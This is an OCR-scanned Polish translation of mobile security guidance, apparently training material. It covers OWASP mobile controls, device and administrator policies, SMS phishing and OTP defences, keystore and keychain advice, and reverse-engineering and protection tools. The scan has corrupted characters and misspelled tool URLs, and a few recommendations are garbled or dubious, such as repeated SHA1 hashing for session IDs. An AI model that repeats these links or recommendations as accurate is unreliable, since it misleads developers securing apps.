OWASP Top 10 Mobile Controls
1. Zidentyfikuj i chron wrazliwe dane na urzadzeniu mobilnym

o W fazie projektowania sklasyfikowa¢ przechowywanie danych zgodnie z wrazliwoscia, a nastepnie
zastosowac kontrole. Przetwarzaj, przechowuj i wykorzystuj dane na podstawie ich klasyfikacji.

o Zastosuj walidacje bezpieczenstwa wywotan APl do wrazliwych danych.

o Przechowuj wrazliwe dane na serwerze zamiast na urzadzeniu po stronie klienta, poniewaz obstuguje
ono bezpieczng tgcznos¢ sieciowg i inne mechanizmy ochrony.

o Uzywaj interfejsu API szyfrowania plikéw udostepnianego przez system operacyjny lub inne zaufane
zrédto podczas przechowywania danych na urzadzeniu.

o Uzywaj szyfrowania do przechowywania wrazliwych danych i przechowuj je w miejscu
zabezpieczonym przed manipulacjg, jesli to mozliwe.

o Ogranicz dostep do danych wrazliwych na podstawie informacji kontekstowych, np. lokalizacji.

0 Zawsze pamietaj o wytgczeniu lokalizacji, $ledzenia GPS lub innych wrazliwych danych , gdy nie s3
uzywane.

0 Zawsze miej Swiadomosc¢ publicznego magazynu wspétdzielonego, poniewaz jest on tatwo narazony
na wyciek danych.

0 Zastosuj zasade minimalnego ujawnienia i zidentyfikuj rodzaj danych potrzebnych w fazie
projektowania.

o W miare mozliwosci uzywaj nietrwatych identyfikatoréw, ktdére nie sg udostepniane innym
aplikacjom.

o Aplikacje powinny korzystaé z interfejsow API zdalnego wymazywania i przetgczania awaryjnego w
celu usuwania poufnych informacji z urzadzenia w przypadku kradziezy lub utraty.

2. Bezpiecznie obstuguj poswiadczenia hasta na urzadzeniu

o Uzywaj dtugoterminowych tokendéw autoryzacyjnych zamiast haset zgodnie z modelem OAuth i
szyfruj tokeny podczas przesytania za pomocg SSL/TLS.

o Wykorzystaj mechanizmy szyfrowania i przechowywania kluczy zapewniane przez mobilny system
operacyjny do bezpiecznego przechowywania haset i tokendw autoryzacyjnych.

o Upewnij sie, ze do przechowywania kluczy, poswiadczen i innych poufnych danych wykorzystywane
sg funkcje, takie jak bezpieczny element.

0 Zezwol uzytkownikom mobilnym na dostep do zmiany haset na urzadzeniu.



o Upewnij sie, ze uzywasz srodkow, ktére pozwalajg na powtarzajgce sie wzory w celu ograniczenia
atakéw rozmazywania

o Upewnij sie, ze zadne hasto ani klucz nie sg widoczne w pamieci podrecznej ani w dziennikach.

o Nie przechowuj zadnych haset ani tajemnic w plikach binarnych aplikacji mobilnej, poniewaz mozna
je tatwo pobrac i poddac inzynierii wstecznej.

3. Zapewnij ochrone wrazliwych danych podczas przesytania

o Wymuszaj korzystanie z bezpiecznego kanatu typu end-to-end, takiego jak SSL/TLS podczas
przesytania poufnych informacji przez siec.

o Uzywaj ztozonych i dobrze znanych algorytméw szyfrowania, takich jak AES, z kluczami o
odpowiedniej dtugosci w celu zwiekszenia bezpieczenstwa.

o Nalezy zapewnic¢ korzystanie z certyfikatdw podpisanych przez zaufanych dostawcéw urzedow
certyfikacji i nie wytgczac ani nie ignorowac sprawdzania poprawnosci faricucha SSL.

0 Bezpieczne pofaczenie powinno zosta¢ ustanowione dopiero po zweryfikowaniu tozsamosci
zdalnego punktu korncowego w celu zmniejszenia ryzyka atakéw MUM.

o Nalezy unika¢ wysytania wrazliwych danych za pomocg wiadomaosci SMS lub MMS z lub do mobilnych
punktéw koncowych.

4. Poprawnie wdrazaj uwierzytelnianie uzytkownikéw, autoryzacje i zarzadzanie sesjg

o Sita mechanizmu uwierzytelniania musi by¢ uzalezniona od wrazliwosci danych przetwarzanych przez
aplikacje oraz jej dostepu do cennych zasobdw.

o Upewnij sie, ze zarzadzanie sesjg jest obstugiwane prawidtowo po poczatkowym uwierzytelnieniu
przy uzyciu odpowiednich bezpiecznych protokotdw.

o Uzywaj nieprzewidywalnych identyfikatorow sesji o wysokiej entropii i powtarzalnego stosowania
SHA1 do tgczenia zmiennych losowych.

o Uzyj kontekstdw, takich jak lokalizacja IP, aby dodaé zabezpieczenia do uwierzytelniania.

0 Zapewni¢ stosowanie dodatkowych czynnikéw uwierzytelniajgcych dla aplikacji mobilnych, ktére
zapewniajg dostep do wrazliwych danych za pomoca gtosu, odciskdw palcédw lub innych danych
behawioralnych.

o Uzywaj uwierzytelniania, ktore zalezy od tozsamosci uzytkownika koicowego, a nie od tozsamosci
urzadzenia.

5. Dbaj o bezpieczenstwo API backendu (ustug) i platformy (serwera).

o Przeprowadz szczegdtowe sprawdzanie kodu pod katem wrazliwych danych, ktére sg nieumysinie
przesytane miedzy urzadzeniem mobilnym, zapleczem serwera WWW i innymi interfejsami
zewnetrznymi.

o Wszystkie ustugi backendowe dla aplikacji mobilnych powinny by¢ okresowo testowane pod katem
luk w zabezpieczeniach przy uzyciu wszelkich narzedzi do statycznego analizowania kodu i narzedzi do
fuzzingu.



o Upewnij sie, ze platforma zaplecza dziata z zaostrzong konfiguracjg z najnowszymi poprawkami
bezpieczenstwa zastosowanymi do systemu operacyjnego i serwera WWW.

o Odpowiednie dzienniki sg zarezerwowane na zapleczu do wykrywania incydentéw i reagowania na
nie oraz do przeprowadzania analizy sledcze;j.

o Ograniczanie i ograniczanie przepustowosci w zaleznosci od uzytkownika/adresu IP w celu
zmniejszenia ryzyka atakéw DDoS.

o Zapewnienie testéw pod katem luk w zabezpieczeniach DoS, ktére powodujg zalewanie serwera
wywotaniami aplikacji intensywnie korzystajgcych z zasobow.

o Przeprowadzi¢ testowanie przypadkéw uzycia i testowanie przypadkéw naduzyé w celu okreslenia
luk w zabezpieczeniach; przeprowadzaé réwniez testy ustug sieciowych zaplecza/REST.

6. Bezpieczna integracja danych z ustugami i aplikacjami innych firm
0 Zawsze sprawdzaj autentycznos¢ kodu lub bibliotek stron trzecich uzywanych w aplikacji mobilnej.

o Regularnie aktualizuj najnowsze poprawki bezpieczenstwa i sledZz wszystkie interfejsy APl i ramy
innych firm.

o Weryfikuj wszystkie otrzymane i wystane dane przed przetwarzaniem dla niezaufanych aplikacji
innych firm.

7. Zwrdéé szczegdlng uwage na zbieranie i przechowywanie zgody na gromadzenie i wykorzystywanie
danych uzytkownika

o Stworzyé polityke prywatnosci obejmujgcg wykorzystanie danych osobowych i udostepni¢ jg
uzytkownikom podczas dokonywania wyboréw dotyczacych zgody, np. w czasie instalacji lub w czasie
wykonywania, lub za posrednictwem mechanizmow rezygnacji.

o Sprawdyz, czy jakakolwiek aplikacja zbiera dane osobowe (Pll).
o Przejrzyj mechanizmy komunikacji, aby sprawdzi¢, czy nie doszto do przypadkowych wyciekdw.
0 Zawsze przechowuj zapis zgody na przekazanie PII.

o Upewnij sie, ze mechanizm zbierania zgody nie naktada sie na siebie ani nie powoduje konfliktow, i
sprobuj rozwigzaé wszelkie konflikty.

8. Wdrazaj $rodki kontroli zapobiegajgce nieautoryzowanemu dostepowi do ptatnych zasobdéw
(portfel, SMS, rozmowy telefoniczne itp.)

o Utrzymuj dzienniki dostepu do ptatnych zasobdw w niezaprzeczalnym formacie i udostepniaj je do
monitorowania uzytkownikéw koricowych.

o Regularnie sprawdzaj, czy nie wystepujg nietypowe wzorce wykorzystania ptatnych zasobow i
aktywuj ponowne uwierzytelnianie.

o Zapewnienie domyslnego korzystania z modelu biatej listy w przypadku adresowania ptatnych
zasobow.

o Uwierzytelnij wszystkie wywotania API do ptatnych zasobow.

o Upewnij sie, ze wywotania zwrotne API portfela nie zezwalajg na hasta w postaci zwyktego tekstu i
inne poufne informacje.



o Ostrzega¢ uzytkownikéw i uzyskiwa¢ pozwolenie na wszelkiego rodzaju implikacje kosztowe dla
wydajnosci aplikacji.

o Wdrozenie najlepszych praktyk, takich jak niskie opdznienia i buforowanie, aby zminimalizowa¢
obcigzenie sygnalizacyjne w stacjach bazowych.

9. Zapewnij bezpieczng dystrybucje/udostepnianie aplikacji mobilnych

o Aplikacje muszg by¢ zaprojektowane i udostepnione w taki sposdb, aby umozliwiaty aktualizacje
poprawek bezpieczenstwa.

o Sklepy z aplikacjami powinny monitorowac aplikacje pod katem luk w kodzie i powinny mieé
mozliwos$¢ zdalnego usuwania aplikacji w krétkim czasie w przypadku incydentu.

o Udostepnij kanat informacji zwrotnej, aby uzytkownicy mogli zgtasza¢ problemy z bezpieczernstwem
aplikacji.

10. Doktadnie sprawdz interpretacje kodu pod katem btedéw

o Zminimalizuj interpretacje Srodowiska wykonawczego i mozliwosci oferowane interpreterom
srodowiska wykonawczego oraz uruchamiaj interpretery z minimalnymi uprawnieniami.

o Odpowiednio zarysuj kompleksowa sktadnie ucieczki.

o Uzyj interpreteréw testu fuzz i interpreteréw piaskownicy.

Ogodlne wytyczne dotyczace bezpieczenstwa platformy mobilnej

Ponizej podano rézne wskazéwki, ktdre pomogg Ci chroni¢ Twoje urzgdzenie mobilne:

Nie taduj zbyt wielu aplikacji i unikaj automatycznego przesytania zdje¢ do sieci spotecznosciowych.
Wykonaj ocene bezpieczenistwa architektury aplikacji.

Zachowaj kontrole i zarzgdzanie konfiguracja.

Instaluj aplikacje z zaufanych sklepow z aplikacjami.

Bezpiecznie wyczys¢ lub usun dane podczas utylizacji urzadzenia.

Nie udostepniaj informacji w aplikacjach obstugujgcych GPS, chyba ze jest to konieczne.
Nigdy nie tgcz jednoczesnie dwdch oddzielnych sieci, takich jak Wi-Fi i Bluetooth.

Wytacz dostep bezprzewodowy, taki jak Wi-Fi i Bluetooth, jesli nie jest uzywany.

Upewnij sie, ze Bluetooth jest domysinie wytgczony. Wiaczaj go zawsze, gdy jest to konieczne.

Wytgcz dostep bezprzewodowy, taki jak Wi-Fi i Bluetooth, jesli nie jest uzywany, aby unikngé
nielegalnego bezprzewodowego dostepu do urzadzenia.

Wytgcz udostepnianie/tethering potgczen internetowych przez Wi-Fi i Bluetooth, gdy nie sg uzywane.
Uzyj kodu dostepu

Skonfiguruj silne hasto o maksymalnej mozliwej dtugosci, aby uzyskaé¢ dostep do swoich urzadzen
mobilnych.

Ustaw limit czasu bezczynnosci, aby automatycznie blokowad telefon, gdy nie jest uzywany.



Witacz blokade/wyczy$é funkcje po okreslone;j liczbie préb,

Rozwaz osmioznakowy ztozony kod dostepu,

Uniemozliwiaj zgadywanie hasta: ustaw kasowanie danych na Wt.
Aktualizuj system operacyjny i aplikacje

Aktualizuj system operacyjny i aplikacje, aby byty bezpieczne,
Zastosuj aktualizacje oprogramowania, gdy dostepne sg nowe wersje,
Przeprowadzaj regularng konserwacje oprogramowania.

Wiacz zdalne zarzadzanie

W srodowisku korporacyjnym uzywaj oprogramowania MDM do zabezpieczania, monitorowania,
zarzadzania i obstugi urzadzen mobilnych wdrozonych w catej organizacji.

Nie zezwalaj na rootowanie lub jailbreak

Upewnij sie, ze Twoje rozwigzania MDM zapobiegajg rootowaniu/tamaniu zabezpieczen lub je
wykrywaja,

Doftacz te klauzule do swojej polityki bezpieczeristwa mobilnego.
Skorzystaj z ustug zdalnego wymazywania

Korzystaj z ustug zdalnego czyszczenia, takich jak Znajdz moje urzadzenie (Android) i ZnajdZz moj iPhone
lub FindMyPhone (Apple iOS), aby zlokalizowac¢ urzadzenie w przypadku jego zgubienia lub kradziezy.

Zgto$ zagubione lub skradzione urzadzenie do dziatu IT, aby mdégt wytaczy¢ certyfikaty i inne metody
dostepu powigzane z urzadzeniem.

Szyfruj pamiec

o Jedli jest to obstugiwane, skonfiguruj urzadzenie mobilne do szyfrowania sprzetowego
przechowywania szyfrowania.

o Uzywaj aplikacji do szyfrowania urzadzen i poprawek,
o Zaszyfruj urzadzenie i kopie zapasowe.
Wykonuj okresowe kopie zapasowe i synchronizacje

o Korzystaj z bezpiecznego, bezprzewodowego narzedzia do tworzenia kopii zapasowych i
przywracania, ktore przeprowadza okresowg synchronizacje w tle.

o (Android) Kopia zapasowa na koncie Google, aby poufne dane przedsiebiorstwa nie byty zapisywane
w chmurze.

o Kontroluj lokalizacje kopii zapasowych,
o Szyfruj kopie zapasowe.

o Trzymaj poufne dane z dala od wspdtdzielonych urzadzen mobilnych. Jedli informacje
przedsiebiorstwa sg przechowywane lokalnie na urzadzeniu, zaleca sie, aby nie udostepniac¢ tego
urzadzenia w sposéb otwarty.



o Ogranicz dane logowania przechowywane na urzadzeniu.

o Uzywaj bezpiecznego narzedzia do przesytania danych lub szyfruj dane przesytane do lub z
urzadzenia, aby zapewnié poufnosc¢ i integralnos¢ danych.

Filtruj bariery w przekazywaniu wiadomosci e-mail

o Filtruj wiadomosci e-mail, konfigurujgc ustawienia po stronie serwera firmowego systemu
pocztowego,

o Stosowac komercyjne filtry zapobiegajgce utracie danych,

0 Zapobiegaj lokalnemu buforowaniu wiadomosci e-mail.

Skonfiguruj reguty certyfikacji aplikacji

0 Zezwalaj na instalowanie i uruchamianie tylko podpisanych aplikacji,
o Skonfiguruj sie¢ bezprzewodowa, aby prosita o dotgczenie do sieci,
o aplikacje i dane piaskownicy,

o0 Witacz automatyczng blokade i ustaw limit czasu na jedng minute.

0 Rozwaz wptyw na prywatnos$¢ przed wiaczeniem ustug opartych na lokalizacji i ogranicz uzycie do
zaufanych aplikacji.

o Skonfiguruj ustugi lokalizacyjne, aby wytaczy¢ sledzenie lokalizacji dla aplikacji, ktére nie chcg znaé
informacji o Twojej lokalizacji.

o Skonfiguruj powiadomienia, aby wytgczy¢ mozliwos¢ przegladania powiadomien, gdy urzadzenie jest
zablokowane dla aplikacji, ktore mogg wyswietla¢ poufne dane.

o Skonfiguruj automatyczne wypetnianie: automatyczne uzupetnianie nazw i haset w przeglagdarkach
w celu ograniczenia utraty hasta poprzez surfowanie po ramieniu i nadzér (jesli jest to pozadane i
dozwolone przez zasady przedsiebiorstwa).

o0 Wyltacz gromadzenie danych diagnostycznych i uzytkowych w Ustawieniach -> Ogdlne -> Informacje.
Wzmocnij reguty uprawnien przegladarki

o Wzmocnij reguty uprawnien przegladarki zgodnie z politykg bezpieczenstwa firmy, aby unikngé
atakow.

Projektuj i wdrazaj zasady dotyczgce urzadzen mobilnych

o Ustaw zasady, ktére definiujg akceptowane uzycie, poziomy wsparcia i typ dostepu do informacji
dozwolony na réznych urzadzeniach.

Steruj urzadzeniami i aplikacjami.

Zabron kluczy USB.

Zarzadzanie srodowiskami operacyjnymi i aplikacyjnymi.

Nacisnij przycisk zasilania, aby zablokowac¢ urzadzenie, gdy nie jest uzywane.

Sprawdz lokalizacje drukarek przed wydrukowaniem poufnych dokumentéw.



Zapytaj swadj dziat IT, jak korzystac z technologii Citrix, aby zachowac prywatnos¢ danych w centrum
danych i urzadzeniach osobistych.

Jesli poufne dane muszg by¢ przechowywane na urzgdzeniu mobilnym, uzyj follow-me-data i ShareFile
jako rozwigzania zarzgdzanego przez przedsiebiorstwo.

Korzystaj z komérkowej sieci transmisji danych zamiast polega¢ na publicznej sieci Wi-Fi.

Wdrazaj aplikacje chronigce przed ztosliwym oprogramowaniem, aby wykrywac i blokowa¢ ztosliwe
aplikacje.

Wymus uwierzytelnianie wielosktadnikowe, ktére ogranicza nieautoryzowany dostep do aplikacji i
ustug.

Zawsze wylogu;j sie z aplikacji mobilnych po uzyciu; jest to szczegdlnie wazne w przypadku aplikacji,
ktdére sg ze sobg potgczone.

Wytyczne dotyczace bezpieczenstwa urzgdzen mobilnych dla administratora

Ponizej wymieniono niektore wytyczne, ktére administrator moze wdrozyé w celu utrzymania
bezpieczenstwa firmowych urzadzen mobilnych:

Opublikuj zasady przedsiebiorstwa, ktore okreslajg dopuszczalne uzycie urzadzen klasy konsumenckiej
i BYOD w przedsiebiorstwie.

Opublikuj zasady przedsiebiorstwa dla chmury.

Witacz srodki bezpieczenistwa, takie jak oprogramowanie antywirusowe, aby chroni¢ dane w centrum
danych.

Wdrazaj zasady okreslajace, jakie poziomy dostepu do aplikacji i danych sg dozwolone na urzadzeniach
klasy konsumenckiej, a ktdre sg zabronione.

Okresl limit czasu sesji za posrednictwem Access Gateway.

Okresl, czy hasto domeny moze by¢ przechowywane w pamieci podrecznej urzadzenia, czy tez
uzytkownicy muszg je wprowadzaé za kazdym razem, gdy zadajg dostepu.

Okresl dozwolone metody uwierzytelniania Access Gateway sposrdd nastepujgcych:
Brak autoryzacji

Tylko domena

Uwierzytelnianie SMS-em

Tylko RSA SecurlD

Domena + RSA SecurlD

Opracu;j i utrzymuj zasady bezpieczenstwa urzadzen mobilnych, ktére okreslajg zasoby organizacji, do
ktorych mozna uzyska¢ dostep za posrednictwem urzgdzen mobilnych, typy dozwolonych urzadzen
mobilnych, uprawnienia dostepu i inne.

Opracuj modele zagrozen systemowych dla urzgdzen mobilnych i zasobdw, do ktdérych uzyskuje sie
dostep za ich posrednictwem, ktdre umozliwiajg organizacji projektowanie rozwigzan bezpieczenstwa.



Wtacz wszystkie wymagane ustawienia zabezpieczen dla urzadzen mobilnych przed udostepnieniem
ich uzytkownikom

Regularnie dbaj o bezpieczenstwo urzadzen mobilnych, w tym aktualizuj system operacyjny i aplikacje,
zapewniaj synchronizacje zegarow mobilnych ze wspélnym Zrédtem czasu, rekonfiguruj uprawnienia
dostepu, identyfikuj i dokumentuj nieprawidtowosci w infrastrukturze urzadzen itp.

Regularnie monitoruj, czy uzytkownicy wtasciwie przestrzegajg zasad i procedur dotyczacych
bezpieczenstwa urzadzen.

Rozwaz najlepsze ustugi Swiadczone przez réznych ustugodawcdw, okresl ustugi, ktére pasujg do
Twojego srodowiska, a nastepnie zaprojektuj i opracuj jedno lub wiecej rozwigzan spetniajacych te i
wszelkie inne wymagania.

Przetestuj rozwigzania przed wprowadzeniem ich do produkcji. Oceniaj rézne aspekty rozwigzan, takie
jak uwierzytelnianie, funkcjonalnos$¢ aplikacji, bezpieczerstwo, tgcznosé i wydajnosé.

Uzyj konsoli zarzgdzania, aby ograniczy¢ dostep do otwartej publicznej sieci Wi-Fi.

Korzystaj z rozwigzan do ujednoliconego zarzadzania punktami koncowymi (UEM), ktdre rozszerzaja
mozliwosci zarzgdzania, takie jak zarzgdzanie mobilnoscig w przedsiebiorstwie (EMM) i zarzadzanie
aplikacjami mobilnymi (MAM), na wszystkie punkty koricowe.

Wykorzystaj platformy mobilnej ochrony przed zagrozeniami (MTD), ktore oferujg zaawansowane
funkcje bezpieczenstwa, takie jak analiza zachowan.

Korzystaj z danych biometrycznych, takich jak rozpoznawanie odciskow palcéw, gltosu, twarzy lub
teczéwki oka.

Wykorzystaj brokera bezpieczernstwa dostepu do chmury (CASB) jako dodatkowa warstwe
zabezpieczen miedzy uzytkownikami chmury a dostawcami ustug.

Korzystaj ze skutecznych zabezpieczen punktéw koncowych, ktére zapewniajg standaryzacje regut
bezpieczenstwa i ostrzegajg administratoréw o wykryciu zagrozen.

Wdrazaj zasady ochrony aplikacji i zapobiegania utracie danych (DLP), aby zapobiec
lokalne przechowywanie danych firmowych na urzadzeniach.
Zabezpieczenia przed wytudzaniem wiadomosci SMS

Ponizej wymieniono niektdre srodki zaradcze stuzgce do obrony przed atakami phishingowymi za
pomocg wiadomosci SMS:

Nigdy nie odpowiadaj na podejrzang wiadomos$é SMS bez weryfikacji zrédta.
Nie klikaj zadnych linkéw zawartych w wiadomosci SMS.

Nigdy nie odpowiadaj na SMS-a, ktéry wymaga podania danych osobowych i finansowych Zapoznaj sie
z politykag banku dotyczacg wysytania SMS-6w.

Witacz funkcje ,,blokuj SMS-y z Internetu” u swojego dostawcy.
Nigdy nie odpowiadaj na SMS-y wzywajgce do dziatania lub szybkiego reagowania.

Nigdy nie dzwon pod numer pozostawiony w SMS-ie.



Nie daj sie nabrac na oszustwa, prezenty i oferty, ktére wydajg sie nieoczekiwane.

Osoby atakujgce mogag wysyta¢ wiadomosci tekstowe za posrednictwem internetowe] ustugi
przekazywania wiadomosci tekstowych w celu ukrycia swojej tozsamosci; dlatego najlepiej unikac
wiadomosci z numerdw nietelefonicznych.

Sprawdz btedy ortograficzne, btedy gramatyczne lub niespdjnos¢ jezykowa w wiadomosciach
tekstowych.

Unikaj wiadomosci spamowych, odrzucajgc wszelkie subskrypcje lub opcje rejestracji od nieznanych
dostawcow zewnetrznych.

Nigdy nie zapisuj w telefonach komdrkowych poufnych, wrazliwych danych, takich jak dane kart
kredytowych, kody PIN i hasta.

Zgtaszaj wszelkie oszustwa SMS-owe, co pomaga ograniczy¢ dalsze ataki.

Srodki zaradcze zwigzane z przejmowaniem OTP

Ponizej przedstawiono rézne srodki zaradcze do obrony przed atakami polegajgcymi na porwaniu OTP.
Przestrzegaj zasad dotyczacych haset, ktére obejmuja:

o Tworz unikalne i silne hasta.

o Unikaj podawania tego samego hasta do réznych ustug,

o Okresowo aktualizuj hasta.

o Przechowuj hasta w postaci zaszyfrowanej za pomocg menedzera haset.

Okresowo aktualizuj oprogramowanie i systemy operacyjne (OS) do biezgcej wersji.

Zachowaj czujnos$¢ w przypadku podejrzanych wiadomosci e-mail i linkdw, ktére moga przekierowac
uzytkownika do ztosliwej witryny.

Uzyskuj dostep tylko do witryn z certyfikatem Secure Sockets Layer (SSL).

WHtacz blokowanie karty SIM za pomocg kodu PIN, aby unikng¢ nieautoryzowanego dostepu do karty
SIM.

Wytacz wyswietlanie wrazliwych powiadomien na ekranie blokady.
Unikaj aplikacji, ktore uwierzytelniajg sie za pomocg wiadomosci SMS.
Zminimalizuj uzycie metod odzyskiwania przez SMS lub e-mail.

Unikaj przekazywania haset jednorazowych innym osobom i unikaj wpisywania hasta jednorazowego
w przegladarce podczas rozmowy.

Wprowadz hasto jednorazowe w przegladarce recznie.

Przechowywanie danych krytycznych w systemach Android i iOS: zalecenia dotyczgce magazynu kluczy
i peku kluczy

Krytyczne dane, takie jak tokeny uwierzytelniajgce, informacje prywatne i tajne dane
uwierzytelniajgce, muszg by¢ przechowywane odpowiednio w magazynie kluczy lub peku kluczy



systemu Android lub iOS. Ponizej wymieniono niektére zalecenia dotyczace bezpiecznego
przechowywania krytycznych danych:

Android

Zastosuj mechanizmy uwierzytelniania, takie jak wzorce, kody PIN, hasta i odciski palcéw, aby
zabezpieczyé klucze w Android KeyStore.

Korzystaj ze wspieranego sprzetowo systemu Android KeyStore, aby zapewnié bezpieczerstwo
przechowywanych danych.

Uzywaj metod szyfrowania do przechowywania danych w formacie nieczytelnym.
Implementuj techniki autoryzacji do tworzenia i importowania kluczy.

Upewnij sie, ze dostep do kluczy przechowywanych na serwerze jest mozliwy tylko po prawidtowym
uwierzytelnieniu.

Upewnij sie, ze klucz gtdwny i inne klucze sg przechowywane w réznych miejscach.
Wyprowadz klucze przy uzyciu hasta podanego przez uzytkownika.

Klucz gtéwny mozna przechowywaé w oprogramowaniu Android KeyStore.
Przechowuj klucze szyfrowania w prywatnej lokalizacji.

i0S

Zastosuj mechanizmy uwierzytelniania, takie jak Touch ID, Face ID, kody dostepu lub hasta, aby
zabezpieczy¢ pek kluczy.

Zastosuj sprzetowe 256-bitowe szyfrowanie AES do przechowywania krytycznych danych.
Uzyj list kontroli dostepu (ACL), aby okresli¢ dostepnos¢ peku kluczy dla aplikacji.
Przechowuj tylko mate fragmenty danych bezposrednio w peku kluczy.

Okresl AccessControlFlags, aby uwierzytelnié klucz.

Zaimplementuj mechanizm usuwania danych peku kluczy, aby zapewni¢, ze dane nie bedg dostepne
po odinstalowaniu aplikacji.

Aplikacje mobilne z inzynierig wsteczng

Inzynieria odwrotna to proces analizy i wyodrebniania kodu Zrédtowego oprogramowania lub aplikacji
oraz, w razie potrzeby, odtworzenia go z wymaganymi modyfikacjami. Inzynieria odwrotna stuzy do
deasemblacji oprogramowania lub aplikacji mobilnej w celu przeanalizowania wad projektowych i
naprawienia wszelkich bteddéw, ktére sie w nim znajdujg. Technika ta jest rowniez wykorzystywana do
wykrywania stabych punktéw i ulepszania strategii obrony przed atakami. Inzynieria wsteczna moze
by¢ réwniez wykorzystywana na platformach mobilnych do tworzenia duplikatéw lub klonowania
aplikacji.

Inzynieria odwrotna stuzy do:
Przeczytaj i zrozum kod zrédtowy

Wykrywaj podstawowe luki w zabezpieczeniach



Skanuj w poszukiwaniu poufnych informacji osadzonych w kodzie zrédtowym
Przeprowadz analize ztosliwego oprogramowania

Zregeneruj aplikacje lub oprogramowanie po wprowadzeniu pewnych modyfikacji
Dlaczego inzynieria odwrotna jest skuteczna?

Specjalisci ds. bezpieczenstwa mobilnego muszg posiada¢ podstawowg wiedze na temat technik
inzynierii wstecznej z nastepujacych powodow:

Inicjowanie testéw czarnej skrzynki w aplikacjach mobilnych

Obecne aplikacje mobilne zawierajg elementy sterujace, ktére nie pozwalajg na dynamiczng analize.
Szyfrowanie typu end-to-end i SSL prowadzg do przeszkdod w przechwytywaniu i modyfikacjach.
Wykrywanie rootowania uniemozliwia aplikacjom dziatanie na zrootowanym urzgdzeniu. Moze tez
utrudnia¢ korzystanie z zaawansowanych narzedzi do testowania. Te mechanizmy obronne nalezy
zneutralizowa¢, aby przeanalizowad kod zZrédtowy.

Poprawa analizy statycznej w testach czarnoskrzynkowych

W testach czarnoskrzynkowych podstawowy projekt i dziatanie aplikacji mozna zrozumie¢ za pomocg
statycznej analizy kodu binarnego i kodu bajtowego aplikacji. Proces ten moze réwniez pomoc w
wykryciu luk w zakodowanych na state poswiadczeniach.

Przeprowadzanie oceny odpornosci

Aplikacje muszg by¢ zaprojektowane tak, aby byty odporne na inzynierie wsteczng poprzez wdrozenie
metod ochrony oprogramowania, takich jak Mobile Application Security Verification Standard Anti-
Reversing Controls (MASVS-R). Skutecznos¢ kontroli mozna zweryfikowac, przeprowadzajac ogdlne
metody testowania, takie jak ocena odpornosci. Specjalisci ds. bezpieczeristwa muszg przeprowadzic
ocene odpornosci, przeprowadzajac inzynierie wsteczng i prébujac przetamac zabezpieczenia aplikacji
mobilne;j.

Narzedzia bezpieczenstwa mobilnego

W przeciwienstwie do urzgdzen mobilnych z przesztosci, dzisiejsze telefony komérkowe majg
zaawansowane mozliwosci obliczeniowe i tgcznosc (smartfony). Mozna ich uzywaé do przechowywania
danych, przegladania Internetu, nagrywania filmow, wysytania SMS-éw, grania w gry, robienia zdjec i
wielu innych zadan. Dlatego urzadzenia mobilne staty sie gtéwnym zrédtem kradziezy danych przez
intruzéw. Ponizej omdwiono rézne rodzaje narzedzi bezpieczernstwa mobilnego.

Narzedzia do analizy kodu zrédtowego
z3A Zaawansowana analiza aplikacji

z3A Advanced App Analysis pozwala specjalistom ds. bezpieczeristwa identyfikowaé zagrozenia
bezpieczenstwa i prywatnosci w réznych aplikacjach iOS i Android. Dla kazdej zidentyfikowanej
ryzykownej aplikacji mobilnej rozwigzanie z3ATM firmy Zimperium zapewnia dogtebng analize, w tym
analize kontekstowg, a takze oceny prywatnosci i bezpieczenstwa. Silnik przetwarzania réwnolegtego
stale zbiera i koreluje dane z wielu Zrddet, tj. od ztosliwego oprogramowania po instancje manipulacji
danymi. Przeprowadzane sg wielowymiarowe testy i walidacje w celu zidentyfikowania zagrozen dla
bezpieczenstwa aplikacji mobilnych i prywatno$ci, zanim stang sie one zagrozeniem.



Ponizej wymieniono niektére dodatkowe narzedzia wykorzystywane do analizy kodu zrédtowego
aplikacji mobilnych:

Kiuwan (https://www.kiuwon.com)
Appium ( https://oppium.io )
Selendroid (https://selendroid.io)
Bitbar (https://bitbor.com)

Infer (/7ttps://fbinfer.com)
Narzedzia inzynierii odwrotnej
Apktool

Apktool stuzy do inzynierii wstecznej, zamknietych, binarnych aplikacji na Androida innych firm. Moze
dekodowac zasoby prawie do ich pierwotnej postaci i odbudowywac¢ je po wprowadzeniu pewnych
modyfikacji. Utatwia to rdwniez prace z aplikacjg ze wzgledu na podobng do projektu strukture plikow
i automatyzacje niektérych powtarzalnych zadan, takich jak budowanie APK itp.

Cechy:

o Dezasemblacja zasobdw prawie do ich pierwotnej postaci

o Przebudowa zdekodowanych zasobéw z powrotem do binarnego pliku APK/JAR
o Organizowanie i obstuga plikdw APK zaleznych od zasobéw ramowych

o Mate debugowanie

Ponizej wymieniono niektére dodatkowe narzedzia inzynierii wstecznej aplikacji mobilnych:
Frida (https://www.frida.re)

JEB (https://www.pnfsoftware.com)

APK Studio (https://github.com)

objection (https://github.com)

Bytecode Viewer (https://github.com)

Detektor przepakowywania aplikacji

Przepakowywanie to proces wyodrebniania szczegétéw aplikacji z legalnych sklepéw z aplikacjami,
takich jak Google Play Store i Apple Store, oraz modyfikowania aplikacji poprzez wstrzykiwanie
ztodliwego kodu. Nastepnie aplikacja jest redystrybuowana do uzytku publicznego jako autentyczna
aplikacja. Przepakowywanie mozna réwniez wykona¢ podczas inzynierii wstecznej aplikacji.

Promon SHIELD

Promon SHIELD stuzy do ochrony aplikacji mobilnych przed atakami przepakowywania. Wykrywa, kiedy
aplikacja zostata zmodyfikowana (przepakowana). W zwigzku z tym oryginalna aplikacja, w ktorej
zaimplementowano Promon SHIELD, nie moze zosta¢ uruchomiona po przepakowaniu. Oznacza to, ze
zadne fatszywe aplikacje nie mogg dziata¢ na urzadzeniu uzytkownika. Aby upewnic sie, ze mechanizmy



ochrony oferowane przez Promon SHIELD sg aktywne, tworzone jest powigzanie miedzy zestawem
deweloperskim oprogramowania Promon SHIELD (SDK) a aplikacja.

Narzedzia ochrony urzgdzen mobilnych
Lookout Personal

Lookout Personal pomaga chroni¢ urzadzenie przed zagrozeniami bezpieczenstwa, utratg i kradzieza.
Jest dostepny na urzadzenia z Androidem i i0OS. Zapewnia bezpieczernstwo mobilne, ochrone
tozsamosci i zapobieganie kradziezy w jednej aplikacji.

ZIPS firmy Zimperium

ZIPS firmy Zimperium to mobilna aplikacja zapobiegajgca wtamaniom, ktdra zapewnia kompleksowg
ochrone urzadzen z systemem iOS i Android przed cyberatakami na sieci mobilne, urzadzenia i
aplikacje. Wykorzystuje zaawansowane techniki uczenia maszynowego do identyfikowania i
zapobiegania zardwno zagrozeniom sieciowym, jak i hostowym, takim jak

